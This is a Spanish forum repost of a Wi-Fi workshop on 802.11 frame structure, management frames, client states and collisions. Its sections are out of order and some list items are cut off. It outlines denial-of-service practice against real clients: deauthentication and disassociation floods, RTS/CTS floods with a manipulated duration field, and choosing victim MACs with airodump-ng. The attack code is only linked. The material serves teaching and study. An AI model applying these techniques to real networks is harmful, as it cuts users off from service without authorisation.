Es un valor de 16 bits (2 bytes) de tal forma que si el bit 15 (el más significativo) está a cero el valor del resto de bits será el valor con el que se inicializa NAV.
Es decir, NAV como mucho puede valer 2^15 = 32.768
O dicho de otra forma, el tiempo máximo que se puede reservar para la retransmisión de una trama es de 32.768 ¿qué? Microsegundos.
Todas las estaciones de la red monitorizan las tramas y las cabeceras MAC's, de tal forma que durante la transmisión de la trama de otro equipo, "leen" la duración de la misma y añaden ese tiempo extra como tiempo de contención antes de enviar sus datos.
Además puede haber más información en el campo Duración, por ejemplo, si los bits 15 y 14 están a uno indica un modo especial llamado PS-Poll que se usa en combinación de otros valores para la administración de energía y "despertar" a las estaciones que lo implementan, para nuestro taller, sin utilidad por el momento.
Vale...y ahora que??
Pues como vamos a empezar con las Denegaciones de Servicio...porqué no usar alguna de estas "características" para ello.
Por ejemplo, enviar tramas con una duración de 32.768 que dijimos que eran una treintavo de segundo...bueno pues menudo DoS, no?? Jajaja,
Y si enviamos unos cientos (o miles) de paquetes de "esos" ?? Qué pasará?? Lo imaginas, no???
Y si inundamos la red con CTS/RTS???
Pues eso mismo, son ejemplos...no todo consiste en Disociar o Des-autenticar a los clientes, pueden existir y existen "otras formas de fastidiar" sin necesidad de echar a la gente a patadas
Después de esta explicación pasaremos a la práctica
==============================================
Practicando DoS en 802.11
1.- La base de los programas que usaremos.
2.- Creación de un esnifer sencillo
3.- Envío de tramas de desautenticación/disociación
4.- Inundación RTS/CTS con duración manipulada
[size=18]1.- La base de los programas que usaremos.[/size]
Vamos a usar "parte" del código fuente de la suite de aircrack-ng para adaptarlos a nuestros ejemplos, así el trabajo "duro" ya está hecho y de paso, vamos comprendiendo cómo esta gente llegó a donde ha llegado...
Estos scripts no son nada modulares ni "exportables", no contemplan los numerosos errores de programación que seguro que tienen, igualmente seguro que "sobran" porciones de código, pero caray!! Que esto no es un curso de C, así que perdonad por la falta de rigor en la programación y centrémonos en su funcionamiento...
Usaremos airodump-ng para "husmear" el medio y luego iremos afinando los ejemplos que nos ocupan.
También es conveniente que estés familiarizado con algún esnifer.
Lo primero nos descargaremos la suite de aircrack-ng y la instalamos:
http://download.aircrack-ng.org/aircrack-ng-1.0-rc3.tar.gz
En este punto ya podemos usarla...pero veamos nuestro primer programa:
2.- Crear un pequeño esnifer para examinar el tráfico. Programa [/b]wifiesnif.c[/size]
En este ejemplo haremos lo siguiente:
Te recuerdo que existirán líneas del tipo #include, #define y otras que pueden no ser necesarias, están porque poco a poco irá creciendo el programa y se necesitarán más adelante.
Veamos lo "básico" del código:
Función dump_packet
La utilizaremos para mostrar por pantalla el/los paquetes capturados
Función read_packet
Se encarga de capturar el tráfico y retorna como valor el tamaño del paquete leído
Estas dos funciones anteriores son prácticamente las mismas que usan la suite de aircrack.
Función captura_datos_FC
Esta función analiza el paquete capturado mediante read_packet usando un array llamado h80211[4096] como contendor de los bytes en hexadecimal que se han leído.
De esta forma, por ejemplo, los valores de Frame Control estarán en h80211[0] y en h80211[1], la duración en h80211[2] y h80211[3], etc...
Creo que con los comentarios incluidos en el propio código fuente es suficiente para que lo comprendamos a estas alturas, no??
Y por último, la función main que es el inicio del programa:
Vamos, está claro lo que hace, no??
No hay que preocuparse de si sabemos lenguaje C o no, vamos no importa tanto cómo abrir la interface wifi, pero sí es importante que comprendas bien la función captura_datos_FC y cómo se averiguan los estados de toDS, FromDS, wep, etc...
El código completo lo tienes aquí: http://www.megaupload.com/?d=0SMDIKFJ
Guárdalo junto con los otras fuentes de aircrack (así será mas fácil compilarlo) por ejemplo con el nombre wifiesnif.c
Para compilarlo:
y ya está, lo lanzamos::
3.- Denegación de Servicios mediante el envío de tramas de Disociación o desautenticación.
Para este ejemplo usaremos airodump con el objeto de fijar la red, el punto de acceso y el/los clientes asociados.
Usaremos airodump y así fijar nuestro objetivo, recolectar la información necesaria y luego preparar nuestro script con los parámetros adecuados.
Supongamos que lanzamos airodump mas o menos así
Allí vemos las macs del punto de acceso (BSSID) y de la víctima (STATION) que luego tendremos que pasarlas a nuestro programa, que le he llamdo dos01.c
En este ejemplo, necesitaremos una función nueva que nos permita lanzar el/los paquetes a la red...esta es: send_packet
Como el tema me ha parecido muy interesante e instructivo, aquí os dejo un copy/paste de un nuevo taller de Vic_Thor.
El link del post original lo podeis ver aquí.
El copy/paste es:
PROTOCOLO 802.11. TALLER WiFi.
Durante estas últimas semanas este foro ha estado ha estado "animado", también he recibido muchos mensajes privados acerca del comportamiento las redes WiFi protegidas (WEP/WPA) y me he dado cuenta , que si bien mas o menos todos conocemos "la práctica" de cómo atacar redes inalámbricas, la práctica totalidad de las preguntas que me habéis hecho se resuelven con un BUEN CONOCIMIENTO teórico de cómo es el comportamiento de las mismas.
Es decir, muchos de nosotros "sabemos" usar herramientas del tipo aricrack-aireplay-airodump-etc--- pero pocos tienen claro por qué funcionan y por qué resulta (a veces sencillo, a veces no tanto) obtener una clave wep o wpa.
Por eso, he tirado de mis apuntes (aquellos con los que sufren mis queridos alumnos) y les he dado una aspecto algo informal, espero que el resultado sea bueno.
Voy a seguir la misma iniciativa de nuestro "querido" Taller TCP/IP esperando que este nuevo se convierta en un Taller WiFi.
Este hilo permanecerá cerrado, los comentarios y dudas las resolveremos en otro (como en el Taller TCP/IP)
Si prestáis atención a todo lo que voy a ir comentado y cuando tengáis una duda repasáis los contenidos que vamos a esbozar seguro que además de "usar" esas herramientas, comprenderéis cómo funcionan y cómo podemos modificarlas para realizar ataques "mas refinados" o por pura "curiosidad"
Deberíamos comenzar por la capa física, esto es, señales, antenas, bandas de radiofrecuencia, dispositivos, tarjetas... Ufff, un sin fin de conceptos y conocimientos que (para lo que se trata en este momento) diremos que "sobra".
Por tanto, nos hemos de creer dos cosas para saltarnos la capa física de un plumazo:
- 1.- Un
También un Punto de acceso puede comunicarse con otros puntos de acceso extendiendo la zona inalámbrica o creando un perímetro inalámbrico mas grande, es lo que se conoce con el nombre de WDS.
2.- Una estación inalámbrica es un dispositivo que puede comunicarse con un punto de acceso y por consiguiente, con el resto de estaciones inalámbricas o con estaciones con cable.
También una estación inalámbrica puede comunicarse directamente con otra sin necesidad de punto de acceso, es lo que conocemos como comunicación ad-hoc.[/list]En nuestro estudio nos va a interesar mas "cómo acceden al medio" tanto las estaciones como los puntos de acceso, esto es, lo que se llama Capa 2 en los modelos de comunicaciones.
Si entendemos bien la capa 2 en las comunicaciones inalámbricas, entenderemos, comprenderemos y seremos capaces de escenificar los ataques contra las vulnerabilidades en redes inalámbricas, incluidos los ataques a cifrados y otros como la denegación de servicios, hombre en medio, despliegue de puntos de acceso ilícitos o reinyección de tráfico en la red.
El tráfico en la capa 2 se le llama tramas (frames en inglés) no es que sea muy importante saber el nombrecito... pero mejor llamar a cada cosa por su nombre.
Un Punto de Acceso tiene:
- * Un nombre al que llamamos SSID (o essid)
* Una Dirección MAC que llamamos BSSID
* Un modo de distribución: Infraestructura, Repetidor, Cliente y algún otro mas.
* Seguridad y/o cifrado: WEP, WAP, WPA2, sin seguridad (OPEN)
* Clientes: Las estaciones inalámbricas que se conectan a ellos
* Enrutamiento: Capa2 y también los hay de Capa3 (no todos)
* Una fuerza de la señal aplicada a cada paquete
* Un alcance que depende de factores como la antena, el entorno, obstáculos, etc.
- * Tramas de Administración: Beacons, Probes y Request
* Tramas de Datos: Cifrados o en "texto plano"
* Tramas de Control: RTS, ACK's y CTS
Es importante señalar que la forma de comunicarse en redes inalámbricas (WiFi) está estandarizado, de ahí tenemos el archiconocidos 802.11, junto con sus "variantes" a,b,c,d,e,g,h,i,n etc... cuando encontremos documentos o información relativa a 802.11b u 802.11e, etc debemos de asumir que la comunicación está "ordenada", "regulada", "estandarizada", "definida" mediante esos estándares.
No obstante, existen fabricantes que además de "soportar" el estándar , también implementan cambios y modificaciones de "cosecha propia", es decir, pequeñas o grandes variaciones sobre el protocolo de comunicaciones que dicho fabricante añade.
Ni que decir tiene, que esos "añadidos" al ser particulares de un determinado fabricante, podrán sólo usarse entre equipamientos del mismo fabricante.
Esos añadidos (que a la postre deberían convertirse en mejoras) pueden ser un obstáculo cuando entran en escena otro hardware de diferente fabricante, sin embargo, y a menos que el administrador de la red inalámbrica así lo decida, siempre serán compatibles con los estandarizados.
Está muy claro, pero con un ejemplo quedará todo cristalino (si es que hay algo que aclarar):
- Ya es conocido que existe un tipo de tramas "
¿Por qué es esto posible? Porque las tramas del tipo disociación que un punto de acceso envía a un cliente o a todos no están protegidas ni cifradas de forma alguna. Esto ocurre siempre, tanto si usamos WEP-WPA como si no.
CISCO, incorpora un "añadido" especial a este tipo de tramas... el llamado CCX que no es otra cosa que un control de integridad de las tramas de disociación (y no sólo de ellas) de forma que el ataque de disociación no sería efectivo.[/list]Pero claro, como decíamos antes, sólo si usamos hardware de CISCO en todo el perímetro de la red inalámbrica sería factible implementar dicha característica.
Aunque son documentos "muy técnicos" (y de eso precisamente quiero huir en esta explicación) quien lo desee puede consultar libremente los modelos para 802.11, 802.11a, 802.11b, ... En:: http://standards.ieee.org/getieee802/
Después de esta breve introducción vamos a desmenuzar cómo es una trama de datos en 802.11.
Explicamos (de derecha a izquierda)
FCS es un campo de 4 bytes que se añade como control de Secuencia, no debemos preocuparnos de ello por ahora.
Cuerpo. Es el contenido de la comunicación (los datos a transmitir), si no usamos seguridad alguna lo podremos ver "en texto plano" como si tal cosa, si es un icmp, un intercambio TCP, etc... Si está cifrado mediante WEP o WPA pues "de momento" no tiene sentido lo que "vemos".
Cabecera MAC: Lo primero que nos llama la atención es que su tamaño "puede variar".
Variar? Por qué?
Porque dependiendo del tipo de mensaje y de otras funcionalidades (por ejemplo si se utiliza QoS o no) puede ser de un tamaño u otro, lo que siempre existe en la cabecera MAC es esto:
Y cuando son 26 ó 30 ó 32??
Cuando concurra alguna de estas circunstancias:
- *
* La comunicación se realiza entre puntos de acceso.[/list]
Si utilizamos QoS, se añaden 2 bytes para el control de las colas QoS después de la tercera dirección MAC, o si lo prefieres, antes del número de secuencia
Si la comunicación es "entre" puntos de acceso, se añade una cuarta dirección MAC (la del otro punto de acceso) inmediatamente después del número de secuencia, como ya sabemos una dirección MAC tiene 6 bytes.
Por eso podemos tener cabeceras MAC de varias "longitudes", por ejemplo:
24 bytes -> Comunicación entre cliente y punto de acceso, sin QoS
26 Bytes -> Comunicación entre cliente y punto de acceso, con QoS
30 bytes -> Comunicación entre puntos de acceso, sin QoS
32 bytes -> Comunicación entre puntos de acceso, con QoS
También hay que hacer una salvedad en cuanto a las 3 direcciones MAC que hablaba... en el ejemplo puse origen-destino-bssid, no es así realmente... Todo dependerá de si se trata de una trama de administración, de datos o de la dirección del tráfico.
Es decir, la dirección MAC1 (los bytes 4-5-6-7-8-9-10) pueden representar el bssid, la dirección MAC origen e incluso la dirección MAC destino. Lo mismo ocurre con las otras dos direcciones MAC, MAC2 y MAC3.
Todavía es pronto para "comprender" bien este "baile" de direcciones MAC, de momento nos quedamos que MAC1, MAC2 y MAC3 representan las direcciones origen, destino y bssid de la comunicación PERO NO PRECISAMENTE Y SIEMPRE EN ESE ORDEN!!!!!
Llegados a este punto, Cómo se sabe si se trata de una trama de control, de administración o de datos???
Por los dos primeros bytes de la cabecera MAC, esto es, el FC o Frame Control
Al ser un campo de dos bytes contiene 16 bits de información correspondiente al tipo de trama, al subtipo, a si la comunicación ve "hacia" el punto de acceso, si va "hacia" el cliente, si está fragmentada, si hay mas datos, si se trata de una trama retransmitida, y otros... como si los datos van o no cifrados, si se utiliza "power management" (administración de energía)... .
Tenemos que leer esos bits de derecha a izquierda, por ejemplo, supongamos que el campo frame control contiene el valor 08 41 en hexadecimal... en binario son:
Código [Seleccionar]
0 = 0000
8 = 1000
4 = 0100
1 = 0001Los interpretaremos de "derecha a izquierda" y por parejas, esto es, leemos los bits de derecha a izquierda:
08 = 0000 1000
41 = 0100 0001
Observa que los bits están "rotados" de forma que el "mas significativo" es el que está mas a la izquierda, vamos que no hay que interpretarlo (según el ejemplo) así:
Ahora pasemos a explicar cada campo (al menos los mas significativos)
Versión del Protocolo: bit 0 y 1
Serán siempre cero. Otros valores significarán que no se corresponde con el estándar (por ejemplo una versión propia de un fabricante)
Tipo de Trama (bits 2 y 3)
Identifican el tipo de trama, es decir, si es de administración, de control o de datos.
Subtipo (bits 4,5,6 y 7)
Es una descripción mas detallada del tipo.
ToDS (bit 8 )
Este bit está a uno cuando la trama viaja hacia el sistema de distribución, por ejemplo si la trama la envía un punto de acceso a otro punto de acceso o si una estación envía la trama al punto de acceso.
FromDS (bit 9)
Este bit está a uno si la trama viaja desde el sistema de distribución, por ejemplo cuando un punto de acceso envía tramas a las estaciones. También está a uno cuando la trama viaja de un punto de acceso a otro.
WEP (bit 14)
Este bit se activa (a uno) si los datos están cifrados, en caso contrario los datos viajan en texto plano.
El resto de bits (por ahora) no tienen mucho significado en esta explicación, eso sí, conviene aclarar o ampliar los valores de tipo, subtipo, ToDS y FromDS, unas tablas ayudarán a ello.
Seguro que sino estás pensando que esto es un rollo, al menos pensarás que de momento es fácil...vamos a plantear tres preguntas (con trampa, claro, de lo contrario no tiene gracia)
1.- Según lo expuesto... Si nos encontramos con una trama y los bits 8 y 9 de FC están a cero...¿podemos asegurar que se trata de una comunicación ad-hoc?
R: Si consultamos la tabla que os puse antes, es tajante la respuesta es SI. Pero no es oro todo lo que reluce...La respuesta correcta es NO.
Si bit 8 y bit 9 son cero, efectivamente puede ser una comunicación ad-hoc siempre y cuando la trama sea de DATOS!!!
Si, por ejemplo, la trama es de administración (por ejemplo un beacon o señalización) bit 8 y bit 9 son cero y por supuesto...no es una comunicación entre estaciones.
2.- Otra...Es posible encontrarnos con una trama en la que la cabecera MAC tiene menos de 24 bytes???
R: Al igual que antes, si repasamos lo dicho, la respuesta es NO, puesto que len la cabecera MAC exite un FC de 2 bytes, una duración de 2 bytes. al menos 3 direcciones MAC de 6 bytes cada una (18 en total) y un número de secuencia/fragmento de otros 2 bytes, o sea, un mínimo de 24 bytes...pero la respuesta correcta debería haber sido SI!!!!
SI, por ejemplo una trama de control con subtipo Clear-to-Send (permitido para transmitir) tiene únicamente una longitud de 10 bytes: 2 para FC, 2 para la duración y 6 para la MAC del punto de acceso quien la envía.
3.- Al analizar una trama descubrimos que el bit 14 (Wep) está activado...¿Es realmente una trama cifrada con WEP?
R: NO. Ciertamente los datos (el cuerpo de la trama) estarán cifrados, pero no tiene que ser obligatoriamente con WEP. Bien puede ser WPA o WPA2, este bit indica que los datos están protegidos, pero no te dejes engañar por el nombre del campo, el bit wep a uno indica cifrado, pero no necesariamente un cifrado WEP.
Estas tres preguntas aunque no te lo parezca por ahora, son importantes...Primero porque si nos decidimos a lanzar "un ataque" contra una red WiFi, dependiendo de lo que queramos conseguir habrá que realizarlo sobre tramas de datos, administración o control y en el caso de atacar un cifrado, pues contra el mismo...
Ahora que ya somos capaces de "identificar" los diferentes tipos de tramas, vamos a representar "la coreografía" de cómo funciona todo el mecanismo:
Primero conocer los "estados" en los que nos podemos encontrar:
Un cliente puede estar:
- * No asociado ni autenticasdo: Es decir, ni tan siquiera intentó "conectarse" a la red inalámbrica
* Autenticado: El cliente desea participar de la red pero todavía no finalizó la asociación por completo.
* Asociado: El cliente se asoció y al proporcionar una clave correcta "disfruta" de los recursos de la red.
Como ves en la figura, un cliente asociado puede dejar de estarlo y permanecer autenticado.
Normalmente son los puntos de acceso quienes envían tramas de disociación y des-autenticación.
Son los clientes (las estaciones) los que envían tramas de autenticación, asociación y/o reasociación, también de disociación cuando abandona la red.
La reasociación es un caso especial, es aquel en el que una estación estaba asociada y recibió una trama de disociación...entonces queda en estado autenticado y reinicia la asociación mediante una solicitud de reasociación.
Resumiendo:
Un cliente asociado (completó todo el proceso de incorporación a la red) puede ser desasociado o des-autenticado por el punto de acceso
Un cliente autenticado puede ser des-autenticado por el punto de acceso.
Un cliente que fue desautenticado podrá solicitar una reasociación
Un cliente no asociado ni autenticado, primero solicitará autenticación y luego asociación.
Un cliente autenticado solicitará asociación o reasociación dependiendo del estado anterior al momento de la autenticación.
Por supuesto que un cliente también puede abandonar la red sin necesidad que sea el punto de acceso quien lo haga, a los efectos, sería igual que lo descrito anteriormente.
===============================================
ESTRUCTURA DE UN FRAME CONTROL
Un punto de acceso envía o recibe:
Beacons o señalizaciones Normalmente lo hace a intervalos regulares y sirve para que los clientes "lo vean" y puedan conectarse al mismo.
Se puede "restringir" el envío de beacons, si este es el caso, el cliente debe conocer el essid (nombre) para poder realizar los pasos de asociación y autenticación.. Es el mecanismo por el que las estaciones pueden enumerar todos los puntos de acceso disponibles.
El formato típico de una trama beacon es esta:
* También puede existir un cuarto campo de MAC después del número de secuencia para el caso de comunicación entre puntos de acceso.
El FC de un beacon es:
El cuerpo de un beacon contiene información del tipo: Marcas de tiempo, intervalo de señalización, SSID, Tasa de transmisión soportada (1Mb, 11Mb, 22Mb, etc), Frecuencia, y otros como DS, CF, IBSS, TIM, País, patrones y parámetros FH.
En una ampliación posterior hablaremos de ello (para los curiosos)
Probes: Es un intercambio de mensajes que típicamente ocurre entre el punto de acceso y las estaciones, los mas habituales son: Request y Response (Solicitud de Sondeo y Respuesta de Sondeo)
El formato típico de una trama Probe es esta:
* También puede existir un cuarto campo de MAC después del número de secuencia para el caso de comunicación entre puntos de acceso.
El FC de un Probe Request es:
El cuerpo de un mensaje de tipo Probe Request contiene el SSID, Tasas de datos soportados y otros identificadores que puedan resultar interesantes.
El cuerpo de un mensaje de tipo Probe Response contiene básicamente los mismos elementos que el de un beacon mas los identificadores solicitados mediante el probe request que se solicitó.
Autenticación:
La autenticación implica una serie de intercambios entre las estaciones y el punto de acceso. No siempre se realiza de la misma manera, esto es porque pueden existir otros sistemas de autenticación (tipo RADIUS) que también pueden estar presentes.
Por lo general, una trama de Autenticación es esta:
* También puede existir un cuarto campo de MAC después del número de secuencia para el caso de comunicación entre puntos de acceso.
El cuerpo del mensaje de una trama de autenticación depende de cada contexto, de los algoritmos de cifrado si los hay, de los protocolos, etc... Entre ellos también existe un número de secuencia para la autenticación en curso y códigos de estado y respuesta.
Un ejemplo típico es:
- Cuerpo del mensaje de autenticación:
2 bytes para el algoritmo y/o tipo: por ejemplo 00 00 para Sistemas Open
2 bytes para el número de secuencia, p.e. 01 00 (nº secuencia 1)
2 bytes para definir el estado o razón de la autenticación, p.e. 00 00 (satisfactorio)
Una vez se hayan intercambiado toda la serie de mensajes entre el punto de acceso y las estaciones, el punto de acceso enviará otra trama de autenticación al cliente con idéntica estructura en su FC pero en el cuerpo de la trama incluirá:
Número de secuencia de autenticación recibida + 1 (si se envió 0100 se recibirá 0200)
Estado o razón de la autenticación: por ejemplo 00 00 si resultó satisfactoria.
Desautenticación
Este tipo de trama es de "una sola vía" y normalmente lo envía un punto de acceso a una estación o a todas (broadcast) con el objeto de des-autenticar a los clientes autenticados. y/o asociados. En cualquiera de los casos, las estaciones clientes deberán repetir todo el proceso para "volver" a la red.
Por lo general, una trama de Des-Autenticación es esta:
MAC1 es la dirección MAC del equipo que esta siendo desautenticado
MAC2
El cuerpo de la trama contiene entre otros datos, información de las razones de la desautenticación
El FC de una des-autenticación es:
Asociación
Consiste en un intercambio de tramas de administración con subtipo Request y Response una vez que la autenticación resultó correcta.
En el cuerpo de la trama se incluye información diversa acerca de las capacidades del dispositivo, tasas de transmisión (Rate) soportados, QoS, el ESSID, y opcionalmente razones y estados de la solicitud de la asociación.
El FC de una Solicitud de Asociación es:
Así mismo, la respuesta de la asociación es esta:
En la Cabecera MAC de las tramas de Asociación, las MAC's de cada dispositivo "bailan" dependiendo de si es una Solicitud o Respuesta, en cualquier caso siguen la forma definida: Destino – Origen – BSSID
Relativo a la Asociación, existen otros dos formatos de trama relacionados, estas son Reasociación y Disociación.
Un Punto de Acceso puede enviar tramas de disociación a una determinada estación o a todas (broadcast). El resultado final serán clientes desconectados.
Un cliente o estación, puede enviar tramas de reasociación tras recibir una disociación y generalmente son también de un sólo sentido. También un cliente puede enviar tramas de reasociación si ya está conectado a un punto de acceso y desea asociarse con otro.
Reasociación
El Formato trama para una reasociación es:
Observa que en este caso tenemos 4 MAC's, de forma que:
MAC1 es la dirección del cliente
MAC2 es la del Punto de acesso con el que se desea reasociar
MAC3 es la dirección del punto de Acceso con el se está actualmente asociado
MAC4 Es la dirección del BSSID
El FC para una Solicitud de reasociación es:
El FC para una Respuesta de reasociación es:
Disociación
El Formato trama para una disociación es::
En este caso sólo se utilizan dos direcciones MAC, una para la dirección de la estación que se desea disociar (o broadcast para todas) y la otra para la dirección MAC del Punto de Acceso.
En el cuerpo de la trama se incluyen razones y/o estados relevantes a la disociación
El FC de una disociación es:
Resumen: según lo visto hasta ahora, las tramas de Administración y sus correspondientes FC serían:
===========================================
ANÁLISIS DE CAPTURA DE TRÁFICO 802.11
Conviene practicar con algún esnifer para afianzar lo explicado, un buen candidato es WireShark (usa el que prefieras) a continuación te pongo una serie de pantallas que ilustran todo lo explicado.
Se han eliminado bastantes paquetes de las capturas y aunque no están todas las tramas que hemos estudiado, la mayoría sí.
El punto de Acceso es un Cisco Linksys y la estación la tarjeta identificada como D-Link:
En la primera pantalla "observamos" la secuencia de lo sucedido:
* El Punto de Acceso envía sus beacons (paq. 1)
* El cliente envía Probe Request (paq. 2)
* El punto de Acceso responde con sus Probe Response (paq. 3)
* El cliente inicia la autenticación (paq. 4)
* Envía un ACK (trama de control) paq. 5
* El punto de acceso responde a la autenticación (Paq. 6)
* Y También envía una trama de control de asentimiento ACK (paq. 7)
* El cliente inicia la asociación Solicitud junto con el ACK (paq. 8 y 9)
* El Punto de acceso envía una respuesta de autenticación y el ACK (paq. 10 y 11)
* Se inicia el intercambio de datos (paq. 12 y 13)
* El cliente se desautentica (paq. 14)
Escenario General
Paquete 1. Beacon
Paquete 2. Probe Request
Paquete 3. Probe Response
Paquete 4. Autenticación
Paquete 5. Trama de Control. ACK
Paquete 6. Autenticación
Paquete 7. Trama de Control ACK
Paquete 8. Asociación Request
Paquete 9. Trama de Control. ACK
Paquete 10. Asociación Response.
Paquete 11. Trama de Control. ACK
Paquete 12. Trama de Datos
Paquete 13. Trama de Datos
Paquete 14. Desautenticación
Para los que queráis observar con mas detalle estos mismos paquetes capturados os dejo un enlace para que os podáis [size=18]descargar [/size]el archivo .cap del mismo: http://www.megaupload.com/?d=Y32ZK1G3
Ale!! a estudiar
========================================
LA DANZA DE MAC'S Y TIPOS DE TRAMA
No puedo terminar esta parte sin comentar algo que es muy importante a la hora de analizar el tráfico de tramas de datos.
Como dije al comienzo de este documento, cuando existen datos a transmitir, o mejor dicho, cuando el tipo de trama en la FC es de datos (10) las direcciones MAC "bailan" dependiendo de si están activos o no los bits toDS y FromDS, te pongo una imagen que vale mas que mil palabras:
Y un ejemplo general...
Un cliente envía un ping al punto de de acceso, por tanto toDS está a uno (1) y FromDs estará a cero (0)
- En la cabecera MAC de la trama las direcciones MAC1, Mac2 y Mac3 serían:
MAC1 = BSSID (la MAC del punto de acceso)
MAC2 = Origen (la MAC del cliente)
MAC3 = Destino (la MAC del punto de acceso
- MAC1= Destino (la MAC del cliente)
MAC2= BSSID (la MAC del punto de acceso)
MAC3= Origen (la MAC del punto de acceso)
También puedes pensar que para qué 3 MAC's?? si la comunicación es entre dos...claro, cuando la comunicación es entre punto de acceso y cliente (exclusivamente) pues es como "raro", pero imagina que la comunicación es entre dos clientes inalámbricos...por ejemplo STA-01 hace un ping a STA-99
STA-01 enviará una trama de datos hacia el punto de acceso pero con destino a STA-99, bits toDS a 1 y FromDS a 0
- MAC1 = BSSID (mac del punto de acceso)
MAC2 = Origen (mac de STA-01)
MAC3 = Destino (mac de STA-99)
- MAC1 = Destino (Mac de STA-99)
MAC2 = BSSID (Mac del punto de acceso)
MAC3 = Origen (Mac de STA-01)
- MAC1= BSSID (mac del punto de acceso)
MAC2 = Origen (MAC de STA-99)
MAC3 = Destino (MAC de STA-01)
- MAC1 = Destino (Mac de STA-01)
MAC2 = BSSID (Mac del punto de acceso)
MAC3 = Origen (Mac de STA-99)
Para saber si una trama viaja desde o hacia el sistema de distribución (y así colocar las mac's en su orden correcto) sólo tendremos que comprobar el byte 1 de Frame Control, imagina que capturas una trama de datos que es algo así:
Código [Seleccionar]
08 42 2c 00 00 00 1d ... ... .Lo que tendremos que hacer es "analizar" el segundo byte de la FrameControl, por ejemplo, para saber si FromDS está activado:
Supongamos que tenemos un array llamado paquete[] que tiene todos y cada uno de los valores de la trama, de tal modo:
Código [Seleccionar]
paquete[0]=0x08
paquete[1]=0x42
paquete[2]=0x2c
y así hasta el final... El que nos interesa es paquete[1], si hacemos un AND con 0x01 ó con 0x02 obtendremos 1 ó 2 dependiendo del estado de toDS y de FromDS:
Código [Seleccionar]
If paquete[1] AND 0x02 = 0x02 entonces es un paquete FromDS activado
If paquete[1] AND 0x01 = 0x01 entonces es un paquete toDS activadoTambién podríamos comprobarlo así:
Código [Seleccionar]
Estado= paquete[1] AND 0x03
Switch (Estado) {
Case 0: es un paquete con FromDS y TodS a cero, probablemente de una
Una estación a otra estación (modo as-hoc)
Case 1: Es un paquete con FromDS a cero y ToDS a uno, probablemente de
Un cliente al punto de acceso
Case 2: Es un paquete con FromDS a uno y toDS a cero, probablemente de
Un punto de acceso a un cliente
Case 3: Es un paquete con FromDs a uno y ToDS a uno, probablemente de
Un punto de acceso a otro punto de acceso (modo wds)
}Así mismo, si deseáramos averiguar si se trata de una trama de datos, podríamos hacer algo asi:
Código [Seleccionar]
If paquete[0] AND 0x0c = 0x08 se trata de un paquete de datos
If paquete[0] AND 0x0c = 0x00 se trata de una trama de administración
If paquete[0] AND 0x0c = 0x04 se trata de un trama de controlObserva que ahora se analizó el byte cero del paquete correspondiente.
Para saber si un paquete es QoS o no, también comprobaremos el byte cero.
Código [Seleccionar]
If paquete[0] AND 0x80 = 0x80 se trata de un paquete QoSEsto viene a cuento porque en el momento que estemos preparados, vamos a crear pequeños "programas" para poder analizar el tráfico y/o enviar tramas "a nuestro gusto".
=================================
Seguimos con el Taller... .
Ya sí...os prometía "descanso", continuar con WEP, etc... pero... Como quiero que empecemos a "tocar bola" cuanto antes vamos a seguir y no precisamente con lo "prometido" (bueno casi sí)
En este post vamos a "sentar" los principios de "los desafíos" que han de sortear las estaciones WiFi para acceder al medio.
Gracias a esta información vamos a entender algunos de los "ataques" de Denegación de Servicio (DoS).
Lo que voy a contar es algo que pocas veces se toma en cuenta y que desgraciadamente, ni siquiera se comenta en otros sitios (incluidos muy prestigiosos libros y documentos) o si se hace, lo explican de forma muy somera y con poca claridad.
En las comunicaciones por cable (léase Ethernet que a todos nos suena mas) es razonable pensar que cuando una trama se transmite el receptor la recibe correctamente.
Vale, sabemos que no siempre es así, que pueden existir "colisiones" sobretodo cuando usamos Hub's en lugar de switches, aún con switches podemos tener colisiones en la red, especialmente lo que se denomina colisiones tardías, difíciles de diagnosticar.
Una colisión no es otra cosa que el envío simultáneo de información por dos o mas estaciones en la red. Cuando eso ocurre, y volviendo al ejemplo de la red de cable Ethernet, los paquetes se destruyen y se hace "un silencio" para que se vuelva a retransmitir. De esto se ocupa un protocolo llamado CSMA/CD que si recordáis el Taller TCP/IP, era lo que llamaba el "policía de la red", que pone orden en el tráfico, etc...
Las comunicaciones por Radio Frecuencia no están libres de colisiones, ni mucho menos, sobretodo estas que llamamos WiFi.
Además, el protocolo 802.11 trabaja de una forma "especial", 802.11 incorpora un mecanismo de "asentimiento positivo" de forma que TODAS las tramas enviadas deben "confirmadas" con un ACK positivo por el receptor, de otra forma la trama se considera perdida.
Bueno, veremos mas adelante (muuuchooo mas) pero ya os lo adelanto, que hay un caso especial: QoS.
Ciertamente me sorprendió que en el hilo del tkiptun:
http://www.wadalbertia.org/phpBB2/viewtopic.php?t=5556&start=8&postdays=0&postorder=asc&highlight=
Cuando dije:
CitarOtra cosa!!! que me olvidé al hablar de "las ventajas" de usar QoS en este tipo de ataques...
Si está habilitado QoS, se pueden inyectar unos 15 tramas por cada paquete "descifrado"
Nadie preguntó por qué con QoS se pueden enviar hasta 15 paquetes y sin QoS solamente uno!!!! Claro, que a lo mejor ya lo sabíais y por eso no se preguntó nada... Bueno, para los que no lo supieran:
La razón de ello viene por esto que comentamos de los ACK positivos...determinadas comunicaciones QoS usan una "ráfaga" y precisamente por ello, podemos enviar 15 tramas sin necesidad de recibir un ACK por cada una de ellas, bastará un ACK positivo para las 15...bueno, que me estoy saliendo del tema...
El caso es que cada trama de datos enviada debe ser respondida con su correspondiente ACK
Y las preguntas con "trampa" de rigor...
1.- Y Si se "pierde" la primera trama transmitida??
2.- Y si lo que se pierde es el ACK???
Con "perder" me refiero a interferencias, problemas de comunicación, etc... vamos que no llegan al destino...
Pues en estos dos casos, la trama debe ser retransmitida (acabamos de descubrir el significado de uno de los bits de la FC que no comentamos nada en absoluto, el bit 11 (Reintentar o retransmitir) se activa cuando una trama lo está siendo.
Pero volvamos a lo que nos ocupa... las colisiones.
Ethernet cuenta con CSMA/CD para el tratamiento de colisiones, 802.11 cuenta con CSMA/CA.
Sin embargo no es suficiente por sí sólo...y te pongo un ejemplo (una imagen)
Equipo 1 y equipo 2 están "al alcance"
Equipo 2 y Equipo 3, también lo están
Sin embargo, equipo 3 no se puede comunicar directamente con Equipo 1 porque "no están al alcance"
Además, es perfectamente posible que equipo 1 y equipo 3 transmitan datos al mismo tiempo, y eso...en la zona amarilla es una colisión.
Esto es el equivalente de las colisiones tardías en Ethernet, aquí los llamamos "Nodos ocultos", es decir, estaciones que pertenecen al medio pero que están tan alejadas unas de otras que la comunicación directa entre ellas no es posible.
Por si fuese poco, la mayoría de las tarjetas inalámbricas operan en "half-duplex", esto es, no pueden enviar y recibir al mismo tiempo (realmente son los transceptores de las tarjetas)
